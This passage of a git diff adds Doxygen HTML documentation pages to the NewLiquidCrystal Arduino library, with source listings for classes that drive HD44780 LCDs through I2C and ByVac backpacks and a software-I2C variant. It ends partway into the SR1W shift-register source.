+00131                                      uint8_t Rs, uint8_t d4, uint8_t d5,
+00132                                      uint8_t d6, uint8_t d7, uint8_t backlighPin, 
+00133                                      t_backlighPol pol = POSITIVE )
+00134 {
+00135    config(lcd_Addr, En, Rw, Rs, d4, d5, d6, d7);
+00136    setBacklightPin(backlighPin, pol);
+00137 }
+00138 
+00139 // PUBLIC METHODS
+00140 // ---------------------------------------------------------------------------
+00141 
+00142 //
+00143 // begin
+00144 void LiquidCrystal_I2C::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00145 {
+00146    
+00147    init();     // Initialise the I2C expander interface
+00148    LCD::begin ( cols, lines, dotsize );   
+00149 }
+00150 
+00151 
+00152 // User commands - users can expand this section
+00153 //----------------------------------------------------------------------------
+00154 // Turn the (optional) backlight off/on
+00155 
+00156 //
+00157 // setBacklightPin
+00158 void LiquidCrystal_I2C::setBacklightPin ( uint8_t value, t_backlighPol pol = POSITIVE )
+00159 {
+00160    _backlightPinMask = ( 1 << value );
+00161    _polarity = pol;
+00162    setBacklight(BACKLIGHT_OFF);
+00163 }
+00164 
+00165 //
+00166 // setBacklight
+00167 void LiquidCrystal_I2C::setBacklight( uint8_t value ) 
+00168 {
+00169    // Check if backlight is available
+00170    // ----------------------------------------------------
+00171    if ( _backlightPinMask != 0x0 )
+00172    {
+00173       // Check for polarity to configure mask accordingly
+00174       // ----------------------------------------------------------
+00175       if  (((_polarity == POSITIVE) && (value > 0)) || 
+00176            ((_polarity == NEGATIVE ) && ( value == 0 )))
+00177       {
+00178          _backlightStsMask = _backlightPinMask & LCD_BACKLIGHT;
+00179       }
+00180       else 
+00181       {
+00182          _backlightStsMask = _backlightPinMask & LCD_NOBACKLIGHT;
+00183       }
+00184       _i2cio.write( _backlightStsMask );
+00185    }
+00186 }
+00187 
+00188 
+00189 // PRIVATE METHODS
+00190 // ---------------------------------------------------------------------------
+00191 
+00192 //
+00193 // init
+00194 int LiquidCrystal_I2C::init()
+00195 {
+00196    int status = 0;
+00197    
+00198    // initialize the backpack IO expander
+00199    // and display functions.
+00200    // ------------------------------------------------------------------------
+00201    if ( _i2cio.begin ( _Addr ) == 1 )
+00202    {
+00203       _i2cio.portMode ( OUTPUT );  // Set the entire IO extender to OUTPUT
+00204       _displayfunction = LCD_4BITMODE | LCD_1LINE | LCD_5x8DOTS;
+00205       status = 1;
+00206       _i2cio.write(0);  // Set the entire port to LOW
+00207    }
+00208    return ( status );
+00209 }
+00210 
+00211 //
+00212 // config
+00213 void LiquidCrystal_I2C::config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs, 
+00214                                 uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 )
+00215 {
+00216    _Addr = lcd_Addr;
+00217    
+00218    _backlightPinMask = 0;
+00219    _backlightStsMask = LCD_NOBACKLIGHT;
+00220    _polarity = POSITIVE;
+00221    
+00222    _En = ( 1 << En );
+00223    _Rw = ( 1 << Rw );
+00224    _Rs = ( 1 << Rs );
+00225    
+00226    // Initialise pin mapping
+00227    _data_pins[0] = ( 1 << d4 );
+00228    _data_pins[1] = ( 1 << d5 );
+00229    _data_pins[2] = ( 1 << d6 );
+00230    _data_pins[3] = ( 1 << d7 );   
+00231 }
+00232 
+00233 
+00234 
+00235 // low level data pushing commands
+00236 //----------------------------------------------------------------------------
+00237 
+00238 //
+00239 // send - write either command or data
+00240 void LiquidCrystal_I2C::send(uint8_t value, uint8_t mode) 
+00241 {
+00242    // No need to use the delay routines since the time taken to write takes
+00243    // longer that what is needed both for toggling and enable pin an to execute
+00244    // the command.
+00245    
+00246    if ( mode == FOUR_BITS )
+00247    {
+00248       write4bits( (value & 0x0F), COMMAND );
+00249    }
+00250    else 
+00251    {
+00252       write4bits( (value >> 4), mode );
+00253       write4bits( (value & 0x0F), mode);
+00254    }
+00255 }
+00256 
+00257 //
+00258 // write4bits
+00259 void LiquidCrystal_I2C::write4bits ( uint8_t value, uint8_t mode ) 
+00260 {
+00261    uint8_t pinMapValue = 0;
+00262    
+00263    // Map the value to LCD pin mapping
+00264    // --------------------------------
+00265    for ( uint8_t i = 0; i < 4; i++ )
+00266    {
+00267       if ( ( value & 0x1 ) == 1 )
+00268       {
+00269          pinMapValue |= _data_pins[i];
+00270       }
+00271       value = ( value >> 1 );
+00272    }
+00273    
+00274    // Is it a command or data
+00275    // -----------------------
+00276    if ( mode == DATA )
+00277    {
+00278       mode = _Rs;
+00279    }
+00280    
+00281    pinMapValue |= mode | _backlightStsMask;
+00282    pulseEnable ( pinMapValue );
+00283 }
+00284 
+00285 //
+00286 // pulseEnable
+00287 void LiquidCrystal_I2C::pulseEnable (uint8_t data)
+00288 {
+00289    _i2cio.write (data | _En);   // En HIGH
+00290    _i2cio.write (data & ~_En);  // En LOW
+00291 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html new file mode 100644 index 0000000..177e3fd --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h.html @@ -0,0 +1,124 @@ + + + + +LCD Library: LiquidCrystal_I2C.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes
+
+
LiquidCrystal_I2C.h File Reference
+
+
+
#include <inttypes.h>
+#include <Print.h>
+#include "I2CIO.h"
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_I2C
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html new file mode 100644 index 0000000..d47d4de --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c_8h_source.html @@ -0,0 +1,193 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_I2C.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using an I2C IO extension board.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+
21 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+
22 //
+
23 // The functionality provided by this class and its base class is identical
+
24 // to the original functionality of the Arduino LiquidCrystal library.
+
25 //
+
26 //
+
27 // @author F. Malpartida - fmalpartida@gmail.com
+
28 // ---------------------------------------------------------------------------
+
29 #ifndef LiquidCrystal_I2C_h
+
30 #define LiquidCrystal_I2C_h
+
31 #include <inttypes.h>
+
32 #include <Print.h>
+
33 
+
34 #include "I2CIO.h"
+
35 #include "LCD.h"
+
36 
+
37 
+
38 class LiquidCrystal_I2C : public LCD
+
39 {
+
40 public:
+
41 
+
51  LiquidCrystal_I2C (uint8_t lcd_Addr);
+
52  // Constructor with backlight control
+
53  LiquidCrystal_I2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);
+
54 
+
67  LiquidCrystal_I2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs);
+
68  // Constructor with backlight control
+
69  LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
70  uint8_t backlighPin, t_backlighPol pol);
+
71 
+
88  LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
89  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
90  // Constructor with backlight control
+
91  LiquidCrystal_I2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
92  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
93  uint8_t backlighPin, t_backlighPol pol);
+
110  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
111 
+
124  virtual void send(uint8_t value, uint8_t mode);
+
125 
+
134  void setBacklightPin ( uint8_t value, t_backlighPol pol );
+
135 
+
145  void setBacklight ( uint8_t value );
+
146 
+
147 private:
+
148 
+
154  int init();
+
155 
+
171  void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
172  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
173 
+
182  void write4bits(uint8_t value, uint8_t mode);
+
183 
+
190  void pulseEnable(uint8_t);
+
191 
+
192 
+
193  uint8_t _Addr; // I2C Address of the IO expander
+
194  uint8_t _backlightPinMask; // Backlight IO pin mask
+
195  uint8_t _backlightStsMask; // Backlight status mask
+
196  I2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO
+
197  uint8_t _En; // LCD expander word for enable pin
+
198  uint8_t _Rw; // LCD expander word for R/W pin
+
199  uint8_t _Rs; // LCD expander word for Register Select pin
+
200  uint8_t _data_pins[4]; // LCD data lines
+
201 
+
202 };
+
203 
+
204 #endif
+
I2CIO
Definition: I2CIO.h:41
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_I2C::LiquidCrystal_I2C
LiquidCrystal_I2C(uint8_t lcd_Addr)
Definition: LiquidCrystal_I2C.cpp:96
+
LiquidCrystal_I2C::setBacklightPin
void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LiquidCrystal_I2C.cpp:158
+
LiquidCrystal_I2C::begin
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LiquidCrystal_I2C.cpp:144
+
LiquidCrystal_I2C::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_I2C.cpp:240
+
LiquidCrystal_I2C
Definition: LiquidCrystal_I2C.h:38
+
LiquidCrystal_I2C::setBacklight
void setBacklight(uint8_t value)
Definition: LiquidCrystal_I2C.cpp:167
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html new file mode 100644 index 0000000..7dce84d --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp.html @@ -0,0 +1,118 @@ + + + + +LCD Library: LiquidCrystal_I2C_ByVac.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_I2C_ByVac.cpp File Reference
+
+
+
#include <WProgram.h>
+#include <inttypes.h>
+#include "LiquidCrystal_I2C_ByVac.h"
+
+

Go to the source code of this file.

+ +
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html new file mode 100644 index 0000000..e2ad15f --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8cpp_source.html @@ -0,0 +1,216 @@ + + + + +LCD Library: LiquidCrystal_I2C_ByVac.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_I2C_ByVac.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created by GHPS on 5/06/2012.
+00003 // Copyright 2012 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_I2C_ByVac.c
+00013 // This file implements a basic liquid crystal library that comes as standard
+00014 // in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac.
+00015 // 
+00016 // @brief 
+00017 // This is a basic implementation of the LiquidCrystal library of the
+00018 // Arduino SDK. The original library has been reworked in such a way that 
+00019 // this class implements the all methods to command an LCD based
+00020 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+00021 // backpack BV4218 from ByVac.
+00022 //
+00023 // The functionality provided by this class and its base class is identical
+00024 // to the original functionality of the Arduino LiquidCrystal library.
+00025 //
+00026 // @author GHPS - ghps@users.sourceforge.net
+00027 // ---------------------------------------------------------------------------
+00028 #if (ARDUINO <  100)
+00029 #include <WProgram.h>
+00030 #else
+00031 #include <Arduino.h>
+00032 #endif
+00033 #include <inttypes.h>
+00034 #include "LiquidCrystal_I2C_ByVac.h"
+00035 
+00036 // CONSTRUCTORS
+00037 // ---------------------------------------------------------------------------
+00038 LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac( uint8_t lcd_Addr )
+00039 {
+00040    _Addr = lcd_Addr;
+00041    _polarity == NEGATIVE;
+00042 }
+00043 
+00044 // PUBLIC METHODS
+00045 // ---------------------------------------------------------------------------
+00046 
+00047 //
+00048 // begin
+00049 void LiquidCrystal_I2C_ByVac::begin(uint8_t cols, uint8_t lines, uint8_t dotsize) 
+00050 {
+00051    Wire.begin();
+00052    LCD::begin ( cols, lines, dotsize );   
+00053 }
+00054 
+00055 // User commands - users can expand this section
+00056 //----------------------------------------------------------------------------
+00057 // Turn the integrated backlight off/on
+00058 
+00059 // setBacklight
+00060 void LiquidCrystal_I2C_ByVac::setBacklight( uint8_t value ) 
+00061 {
+00062   Wire.beginTransmission(_Addr);
+00063   Wire.write(0x03);                                     //  ByVac command code 0x03 for backlight
+00064   if (value==0) Wire.write(1); else Wire.write((byte)0);        // 1 for off since polarity is NEGATIVE
+00065   Wire.endTransmission();
+00066 }
+00067 
+00068 // Turn the contrast off/on
+00069 
+00070 // setContrast
+00071 void LiquidCrystal_I2C_ByVac::setContrast( uint8_t value ) 
+00072 {
+00073   Wire.beginTransmission(_Addr);
+00074   Wire.write(0x05);                                     //  ByVac command code 0x05 for contrast
+00075   if (value==0) Wire.write((byte)0); else Wire.write(1); 
+00076   Wire.endTransmission();
+00077 }
+00078 
+00079 // PRIVATE METHODS
+00080 // ---------------------------------------------------------------------------
+00081 
+00082 //
+00083 // init
+00084 int LiquidCrystal_I2C_ByVac::init()
+00085 {
+00086    int status = 0;
+00087    
+00088    // ByVac backpack initialized by onboard firmware
+00089    // ------------------------------------------------------------------------
+00090    status=1;
+00091    return ( status );
+00092 }
+00093 
+00094 // low level data pushing commands
+00095 //----------------------------------------------------------------------------
+00096 
+00097 //
+00098 // send - write either command or data
+00099 void LiquidCrystal_I2C_ByVac::send(uint8_t value, uint8_t mode) 
+00100 {
+00101   Wire.beginTransmission(_Addr);
+00102   Wire.write(mode+1); // map COMMAND (0) -> ByVac command code 0x01/ DATA  (1) ->  ByVac command code 0x02
+00103   Wire.write(value);
+00104   Wire.endTransmission();
+00105 }
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html new file mode 100644 index 0000000..8764194 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h.html @@ -0,0 +1,124 @@ + + + + +LCD Library: LiquidCrystal_I2C_ByVac.h File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+Classes
+
+
LiquidCrystal_I2C_ByVac.h File Reference
+
+
+
#include <inttypes.h>
+#include <Print.h>
+#include <../Wire/Wire.h>
+#include "LCD.h"
+
+

Go to the source code of this file.

+ + + +

+Classes

class  LiquidCrystal_I2C_ByVac
+
+
+ + + + + +
+ +
+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html new file mode 100644 index 0000000..9d38d79 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___i2_c___by_vac_8h_source.html @@ -0,0 +1,164 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_I2C_ByVac.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by GHPS on 5/06/2012.
+
3 // Copyright 2012 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_I2C_ByVac.c
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using the extension board BV4218/BV4208 from ByVac.
+
15 //
+
16 // @brief
+
17 // This is a basic implementation of the LiquidCrystal library of the
+
18 // Arduino SDK. The original library has been reworked in such a way that
+
19 // this class implements the all methods to command an LCD based
+
20 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+
21 // backpack BV4218 from ByVac.
+
22 //
+
23 // The functionality provided by this class and its base class is identical
+
24 // to the original functionality of the Arduino LiquidCrystal library.
+
25 //
+
26 // @author GHPS - ghps-et-users-sourceforge-net
+
27 // ---------------------------------------------------------------------------
+
28 #ifndef LiquidCrystal_I2C_ByVac_h
+
29 #define LiquidCrystal_I2C_ByVac_h
+
30 #include <inttypes.h>
+
31 #include <Print.h>
+
32 
+
33 #include <../Wire/Wire.h>
+
34 #include "LCD.h"
+
35 
+
36 
+
37 class LiquidCrystal_I2C_ByVac : public LCD
+
38 {
+
39 public:
+
40 
+
50  LiquidCrystal_I2C_ByVac (uint8_t lcd_Addr);
+
51 
+
68  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
69 
+
82  virtual void send(uint8_t value, uint8_t mode);
+
83 
+
84 
+
92  void setBacklight ( uint8_t value );
+
93 
+
102  void setContrast ( uint8_t value );
+
103 
+
104 private:
+
105 
+
111  int init();
+
112 
+
122  uint8_t _Addr; // I2C Address of the IO expander
+
123 
+
124 };
+
125 
+
126 #endif
+
LiquidCrystal_I2C_ByVac::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_I2C_ByVac.cpp:99
+
LiquidCrystal_I2C_ByVac
Definition: LiquidCrystal_I2C_ByVac.h:37
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_I2C_ByVac::begin
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LiquidCrystal_I2C_ByVac.cpp:49
+
LiquidCrystal_I2C_ByVac::setBacklight
void setBacklight(uint8_t value)
Definition: LiquidCrystal_I2C_ByVac.cpp:60
+
LiquidCrystal_I2C_ByVac::setContrast
void setContrast(uint8_t value)
Definition: LiquidCrystal_I2C_ByVac.cpp:71
+
LiquidCrystal_I2C_ByVac::LiquidCrystal_I2C_ByVac
LiquidCrystal_I2C_ByVac(uint8_t lcd_Addr)
Definition: LiquidCrystal_I2C_ByVac.cpp:38
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html new file mode 100644 index 0000000..61bfcfc --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_i2_c_8h_source.html @@ -0,0 +1,196 @@ + + + + + + +New LiquidCrystal library: /Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.h Source File + + + + + + + + + + +
+
+ + + + + + +
+
New LiquidCrystal library +  1.3.1 +
+
Generic LCD control library
+
+
+ + + + + +
+ +
+
+ + +
+ +
+ +
+
+
/Users/fmalpartida/Documents/development/mercurial repos/SW/NewliquidCrystal/LiquidCrystal_SI2C.h
+
+
+
1 // ---------------------------------------------------------------------------
+
2 // Created by Francisco Malpartida on 20/08/11.
+
3 // Copyright 2011 - Under creative commons license 3.0:
+
4 // Attribution-ShareAlike CC BY-SA
+
5 //
+
6 // This software is furnished "as is", without technical support, and with no
+
7 // warranty, express or implied, as to its usefulness for any purpose.
+
8 //
+
9 // Thread Safe: No
+
10 // Extendable: Yes
+
11 //
+
12 // @file LiquidCrystal_I2C.h
+
13 // This file implements a basic liquid crystal library that comes as standard
+
14 // in the Arduino SDK but using an I2C IO extension board and software I2C.
+
15 // It will use digital pins 6 and 7 for SCL and SDA, but it can be changed
+
16 // in SI2CIO.cpp to use other pins if needed.
+
17 
+
18 // @brief
+
19 // This is a basic implementation of the LiquidCrystal library of the
+
20 // Arduino SDK. The original library has been reworked in such a way that
+
21 // this class implements the all methods to command an LCD based
+
22 // on the Hitachi HD44780 and compatible chipsets using I2C extension
+
23 // backpacks such as the I2CLCDextraIO with the PCF8574* I2C IO Expander ASIC.
+
24 //
+
25 // The functionality provided by this class and its base class is identical
+
26 // to the original functionality of the Arduino LiquidCrystal library.
+
27 //
+
28 //
+
29 // @author F. Malpartida - fmalpartida@gmail.com
+
30 // Adapted to SoftIC2 by Adrian Piccioli - adrianpiccioli@gmail.com
+
31 // ---------------------------------------------------------------------------
+
32 #ifndef LiquidCrystal_SI2C_h
+
33 #define LiquidCrystal_SI2C_h
+
34 #include <inttypes.h>
+
35 #include <Print.h>
+
36 
+
37 #include "SI2CIO.h"
+
38 #include "LCD.h"
+
39 
+
40 
+
41 class LiquidCrystal_SI2C : public LCD
+
42 {
+
43 public:
+
44 
+
54  LiquidCrystal_SI2C (uint8_t lcd_Addr);
+
55  // Constructor with backlight control
+
56  LiquidCrystal_SI2C (uint8_t lcd_Addr, uint8_t backlighPin, t_backlighPol pol);
+
57 
+
70  LiquidCrystal_SI2C( uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs);
+
71  // Constructor with backlight control
+
72  LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
73  uint8_t backlighPin, t_backlighPol pol);
+
74 
+
91  LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
92  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
93  // Constructor with backlight control
+
94  LiquidCrystal_SI2C(uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
95  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7,
+
96  uint8_t backlighPin, t_backlighPol pol);
+
113  virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize = LCD_5x8DOTS);
+
114 
+
127  virtual void send(uint8_t value, uint8_t mode);
+
128 
+
137  void setBacklightPin ( uint8_t value, t_backlighPol pol );
+
138 
+
148  void setBacklight ( uint8_t value );
+
149 
+
150 private:
+
151 
+
157  int init();
+
158 
+
174  void config (uint8_t lcd_Addr, uint8_t En, uint8_t Rw, uint8_t Rs,
+
175  uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7 );
+
176 
+
185  void write4bits(uint8_t value, uint8_t mode);
+
186 
+
193  void pulseEnable(uint8_t);
+
194 
+
195 
+
196  uint8_t _Addr; // I2C Address of the IO expander
+
197  uint8_t _backlightPinMask; // Backlight IO pin mask
+
198  uint8_t _backlightStsMask; // Backlight status mask
+
199  SI2CIO _i2cio; // I2CIO PCF8574* expansion module driver I2CLCDextraIO
+
200  uint8_t _En; // LCD expander word for enable pin
+
201  uint8_t _Rw; // LCD expander word for R/W pin
+
202  uint8_t _Rs; // LCD expander word for Register Select pin
+
203  uint8_t _data_pins[4]; // LCD data lines
+
204 
+
205 };
+
206 
+
207 #endif
+
LCD
Definition: LCD.h:187
+
LiquidCrystal_SI2C::begin
virtual void begin(uint8_t cols, uint8_t rows, uint8_t charsize=LCD_5x8DOTS)
Definition: LiquidCrystal_SI2C.cpp:147
+
LiquidCrystal_SI2C
Definition: LiquidCrystal_SI2C.h:41
+
LiquidCrystal_SI2C::LiquidCrystal_SI2C
LiquidCrystal_SI2C(uint8_t lcd_Addr)
Definition: LiquidCrystal_SI2C.cpp:99
+
SI2CIO
Definition: SI2CIO.h:42
+
LiquidCrystal_SI2C::setBacklight
void setBacklight(uint8_t value)
Definition: LiquidCrystal_SI2C.cpp:170
+
LiquidCrystal_SI2C::setBacklightPin
void setBacklightPin(uint8_t value, t_backlighPol pol)
Definition: LiquidCrystal_SI2C.cpp:161
+
LiquidCrystal_SI2C::send
virtual void send(uint8_t value, uint8_t mode)
Definition: LiquidCrystal_SI2C.cpp:243
+
+ +
+Generated by   +doxygen + 1.8.10 +
+ + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html new file mode 100644 index 0000000..3d711b8 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp.html @@ -0,0 +1,116 @@ + + + + +LCD Library: LiquidCrystal_SR1W.cpp File Reference + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR1W.cpp File Reference
+
+
+
#include "LiquidCrystal_SR1W.h"
+
+

Go to the source code of this file.

+ +
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+ + + + + +
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+ + + + diff --git a/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html new file mode 100644 index 0000000..0a2d904 --- /dev/null +++ b/libraries/NewliquidCrystal/utility/docs/html/_liquid_crystal___s_r1_w_8cpp_source.html @@ -0,0 +1,363 @@ + + + + +LCD Library: LiquidCrystal_SR1W.cpp Source File + + + + + + + + + + + + + +
+
+ + + + + + + +
+
LCD Library 1.3.0
+
LCD Library - LCD control class hierarchy library. Drop in replacement for the LiquidCrystal Library.
+
+
+ + +
+
+ +
+
+
+ +
+
+
+
LiquidCrystal_SR1W.cpp
+
+
+Go to the documentation of this file.
00001 // ---------------------------------------------------------------------------
+00002 // Created/Adapted by Stephen Erisman 2013-07-06
+00003 // Copyright 2013 - Under creative commons license 3.0:
+00004 //        Attribution-ShareAlike CC BY-SA
+00005 //
+00006 // This software is furnished "as is", without technical support, and with no 
+00007 // warranty, express or implied, as to its usefulness for any purpose.
+00008 //
+00009 // Thread Safe: No
+00010 // Extendable: Yes
+00011 //
+00012 // @file LiquidCrystal_SR1W.cpp
+00013 // Connects a hd44780 LCD using 1 pin from the Arduino, via an 8-bit Latching
+00014 // ShiftRegister (SR1W from now on).
+00015 // 
+00016 // @brief 
+00017 // This is an optimized implementation of the 1-wire shift concept developed by
+00018 // Roman Black (http://www.romanblack.com/shift1.htm) that also makes use of
+00019 // (and merges) the diode-resistor AND "gate" concept (http://www.rentron.com/Myke1.htm)
+00020 // as well as introducing some new and original ideas (particularly how HW_CLEAR works).
+00021 // 
+00022 //
+00023 // See the corresponding SR1W header file for full details.
+00024 //
+00025 // History
+00026 // 2013.07.31 serisman - fixed potential interrupt bug and made more performance optimizations
+00027 // 2013.07.10 serisman - more performance optimizations and modified the HW_CLEAR circuit a bit
+00028 // 2013.07.09 serisman - added an even faster version that performs the clear in hardware
+00029 // 2013.07.08 serisman - changed code to shift data MSB first to match SR2W
+00030 // 2013.07.07 serisman - major speed optimization
+00031 // 2013.07.06 serisman - created/modified from SR2W and FastIO sources to create SR1W
+00032 // @author  S. Erisman - arduino@serisman.com
+00033 // ---------------------------------------------------------------------------
+00034 
+00035 #include "LiquidCrystal_SR1W.h"
+00036 
+00037 // CONSTRUCTORS
+00038 // ---------------------------------------------------------------------------
+00039 // Assuming 1 line 8 pixel high font
